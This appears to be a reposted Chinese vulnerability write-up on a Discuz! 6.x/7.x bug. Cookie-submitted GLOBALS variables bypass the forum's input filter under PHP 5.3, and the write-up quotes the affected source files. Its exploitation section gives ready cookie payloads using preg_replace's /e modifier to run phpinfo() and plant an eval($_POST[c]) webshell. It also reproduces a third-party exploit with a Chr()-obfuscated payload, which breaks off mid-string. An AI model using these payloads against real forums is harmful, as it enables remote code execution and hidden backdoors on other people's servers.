首页 > 代码库 > Discuz! 6.x/7.x 全局变量防御绕过导致命令执行
Discuz! 6.x/7.x 全局变量防御绕过导致命令执行
漏洞概述:
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
漏洞分析:
include/global.func.php代码里:
1 2 3 4 5 6 7 8 9 10 11 12 13 | function daddslashes($string, $force = 0) { !defined(‘MAGIC_QUOTES_GPC‘) && define(‘MAGIC_QUOTES_GPC‘, get_magic_quotes_gpc()); if(!MAGIC_QUOTES_GPC || $force) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force); } } else { $string = addslashes($string); } } return $string; } |
include/common.inc.php里:
1 2 3 4 5 | foreach(array(‘_COOKIE‘, ‘_POST‘, ‘_GET‘) as $_request) { foreach($$_request as $_key => $_value) { $_key{0} != ‘_‘ && $$_key = daddslashes($_value); } } |
模拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少:(
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:
1 2 3 | if (isset($_REQUEST[‘GLOBALS‘]) OR isset($_FILES[‘GLOBALS‘])) { exit(‘Request tainting attempted.‘); } |
这样就没法提交GLOBALS变量了么?
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了:)
漏洞利用
include/discuzcode.func.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode = 1, $allowhtml = 0, $jammer = 0, $parsetype = ‘0‘, $authorid = ‘0‘, $allowmediacode = ‘0‘, $pid = 0) { global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowat tachurl; if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, ‘[/code]‘) || strpos($message, ‘[/CODE]‘) ) !== FALSE) { $message = preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies", "codedisp(‘\\1‘)", $message); } $msglower = strtolower($message); //$htmlon = $htmlon && $allowhtml ? 1 : 0; if(!$htmlon) { $message = $jammer ? preg_replace("/\r\n|\n|\r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspeci alchars($message); } if(!$smileyoff && $allowsmilies && !empty($GLOBALS[‘_DCACHE‘][‘smilies‘]) && is_array($GLOBALS[‘_DCACHE‘][‘smili es‘])) { if(!$discuzcodes[‘smiliesreplaced‘]) { foreach($GLOBALS[‘_DCACHE‘][‘smilies‘][‘replacearray‘] AS $key => $smiley) { $GLOBALS[‘_DCACHE‘][‘smilies‘][‘replacearray‘][$key] = ‘<img src="http://www.mamicode.com/images/smilies/‘.$GLOB ALS[‘_DCACHE‘][‘smileytypes‘][$GLOBALS[‘_DCACHE‘][‘smilies‘][‘typearray‘][$key]][‘directory‘].‘/‘.$smiley.‘" smilieid="‘ .$key.‘" border="0" />‘; } $discuzcodes[‘smiliesreplaced‘] = 1; } $message = preg_replace($GLOBALS[‘_DCACHE‘][‘smilies‘][‘searcharray‘], $GLOBALS[‘_DCACHE‘][‘smilies‘][‘r eplacearray‘], $message, $maxsmilies); } |
注意到:
$message = preg_replace($GLOBALS[‘_DCACHE’][‘smilies’][‘searcharray’], $GLOBALS[‘_DCACHE’][‘smilies’][‘replacearray’], $message, $maxsmilies)?
请求中Cookie带
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui? GLOBALS[_DCACHE][smilies][replacearray]=phpinfo()?
即可执行phpinfo。
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui? GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B?
即一句话木马。
此后门漏洞十分隐蔽,不容易发现。
利用条件:
1.discuz 6.x / 7.x
2.request_order默认值为GP
K8飞刀的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | =============================================================================================================================================================== Discuz 6.x/7.x 代码执行漏洞触发条件: 1 URL连接中的帖子或评论必须带有表情(没有自己去回复) 2 php>5.3.x 且 request_order值为GP (默认值为GP) 3 后台--帖子内容页---最大单一表情解析次数: 为0 4 第2次提交Cookie,若没成功,请在浏览框里右键刷新 默认EXP: forumdata/cache/admingroups.php GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(102).Chr(111).Chr(114).Chr(117).Chr(109).Chr(100).Chr(97).Chr(116).Chr(97).Chr(92).Chr(99).Chr(97).Chr(99).Chr(104).Chr(101).Chr(92).Chr(97).Chr(100).Chr(109).Chr(105).Chr(110).Chr(103).Chr(114).Chr(111).Chr(117).Chr(112).Chr(115).Chr(46).Chr(112). |